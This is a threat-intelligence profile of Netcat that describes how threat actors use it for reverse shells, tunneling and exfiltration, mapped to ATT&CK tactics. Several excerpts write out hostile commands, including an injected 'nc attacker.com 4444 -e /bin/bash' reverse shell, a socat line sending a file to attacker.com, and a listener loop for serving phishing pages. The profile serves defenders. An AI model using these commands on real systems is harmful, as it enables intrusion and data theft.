netcat
- Type
- Reverse shell
- Capabilities
- Post exploitationDefense evasion
- Delivery
- Lure
- Platforms
- WindowsLinuxNetwork deviceIOT
Netcat is a legitimate, dual-use command-line networking utility for reading and writing data over network connections. Threat actors frequently abuse it to establish reverse shells, provide interactive command execution, and support command-and-control or tunneling on compromised systems. It is not inherently malicious and is used by multiple unrelated actors rather than belonging to a single threat group.
Malicious deployments have been observed on Windows and Linux hosts, enterprise network appliances, and embedded devices such as IP cameras. Attackers commonly download and execute Netcat after exploiting internet-facing services, including Apache ActiveMQ and WebLogic. Netcat access has subsequently been used to install additional remote-access software, including AnyDesk, and it is also deployed alongside cryptocurrency miners and web shells.
Observed users include z0Miner, APT32, and Ember Bear. APT32 has disguised Netcat as a Windows update, while other operators have renamed it to resemble legitimate system components. Its deployment in healthcare server intrusions and IoT compromises demonstrates its use across different environments. Information theft and further malware installation are possible consequences of the shell access it provides, rather than evidence of dedicated credential-stealing or mining functionality within Netcat itself.
Associated vulnerabilities
6 CVEs Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.
Associated threat actors
5 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
Threat actors possibly tied to Sandworm are chaining the two flaws to first download a Netcat-based reverse shell and proxy tool on vulnerable FMC systems.
This threat actor downloaded Netcat as userinit.exe and executed it.
UAT-11823 deployed a Netcat reverse shell through a malicious license.tmp file executed by package_info.pl.
...Netcat... may have been used by the attackers as well.
Ember Bear uses socket-based tunneling utilities for command and control purposes such as NetCat and Go Simple Tunnel (GOST).
Techniques & procedures
23 distinct techniques documented for this family, organized by ATT&CK tactic.
Reconnaissance
1 technique
Reconnaissance
Banner Grabbing: Forces the server to cough up its headers so you can see exactly what software is hiding behind the curtain. printf "GET / HTTP/1.0 \r \n \r \n " | nc - v < target > 80
Resource Development
1 technique
Resource Development
Annex B lists Obtain Capabilities: Tool.
Initial Access
2 techniques
Initial Access
“Connecting rogue hardware devices directly into retail store networks as a means to establish direct footholds.”
The Web Server MacGyver — Need to serve a phishing page or a quick tool without spinning up Apache? while true ; do { echo -e ‘HTTP/1.1 200 OK\r\n’; cat index.html; } | nc -l -p 8080; done
Execution
4 techniques
Execution
“We built a container image with netcat installed, deployed it as an AgentCore Runtime, and connected back with a reverse shell.”
The malicious payload (SSCE5532.dll) was executed via the command prompt... Next, a password-protected RAR archive is downloaded from a distribution server and unpacked... c:\windows\system32\cmd.exe /C ... rar.exe x ...
FabricShell passed attacker-controlled command strings to /bin/sh -c . Observed commands included initial tests such as ls and pwd , followed by shell scripts and reverse shell activity.
"In May 2024, a remote code execution vulnerability (CVE-2024-23692) in HFS was announced. Using this, the threat actor can send packets containing commands to HFS and have it execute malicious commands."
Stealth
1 technique
Stealth
actors used the following command to rename one of their tools to a benign file name: ren "%temp%\upload" audiodg.exe ... APT1 ... used ... AcroRD32.exe ... as a name for malware ... APT28 ... changed extensions on files containing exfiltrated data to make them appear benign ... APT32 has renamed a NetCat binary to kb-10233.exe to masquerade as a Windows update.
Discovery
1 technique
Discovery
Its simplicity masks a surprising versatility: it can copy files, tunnel traffic, relay ports, scan networks, and sometimes even replace more complex post-exploitation tools.
Lateral Movement
3 techniques
Lateral Movement
The Play binary was submitted to VirusTotal as part of an archive... containing various hack tools and utilities–including AnyDesk, NetCat...
paramiko.SSHClient.connect('45.79.187.72', username='root', pkey=key, timeout=10)
Once attackers achieve execution, they must move their toolkit across the environment. Several native protocols were validated for tool transfer (T1570).
Command and Control
6 techniques
Command and Control
"RAT malware such as Gh0stRAT and PlugX... as well as Cobalt Strike and Netcat can be found."
Its simplicity masks a surprising versatility: it can copy files, tunnel traffic, relay ports, scan networks, and sometimes even replace more complex post-exploitation tools.
T1095 — Non-Application Layer Protocol (Command and Control) ; redirections TCP Bash
The content shows transferring data with "socat -u file:/path/to/input-file tcp-connect:attacker.com:12345" and receiving it with netcat or socat listeners.
We also found that they established a reverse shell connection ... using the command-line tool, NetCat.
The application server communicates with the C2 via webshell uploaded using FabricShell on nonstandard ports.
Exfiltration
4 techniques
Exfiltration
On the victim’s computer, I coded a Python script that will perform the following tasks: - Read a file - Split it in chunks of 3KB - Send everything to a TCP connection... The file has been successfully exfiltrated!
Finally, the stage 4 payload executes the reverse shell script located at /data/data/com.termux/_rev.sh , establishing a root reverse shell connection.
For example, an attacker could append ; nc attacker.com 4444 -e /bin/bash to gain a reverse shell, or use similar payloads for data exfiltration or system manipulation.
PostgreSQL sys_eval and Netcat pipeline streaming SSL private keys to 62.171.185.97:8888; Wget POST requests sending system metadata and credentials to the C2.
Observables
6 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
Recent activity
22 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.